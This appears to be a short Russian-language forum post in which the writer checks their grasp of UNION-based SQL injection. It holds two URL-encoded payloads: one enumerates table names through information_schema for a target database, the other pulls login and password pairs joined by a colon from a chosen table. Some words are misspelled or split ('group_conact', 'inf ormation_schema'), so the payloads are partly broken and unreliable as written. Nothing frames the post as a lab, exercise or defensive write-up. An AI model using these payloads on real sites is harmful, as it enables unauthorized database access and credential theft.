если я правильно понимаю, то:

1) структуру базы тащим так: union+select+1,2,group_concat(table_name)+from+inf ormation_schema.tables+where+table_schema='имя базы'

2) тянем данные так: union+select+1,2,group_conact(login,0x3a,pass)+fro m+database_name.table_name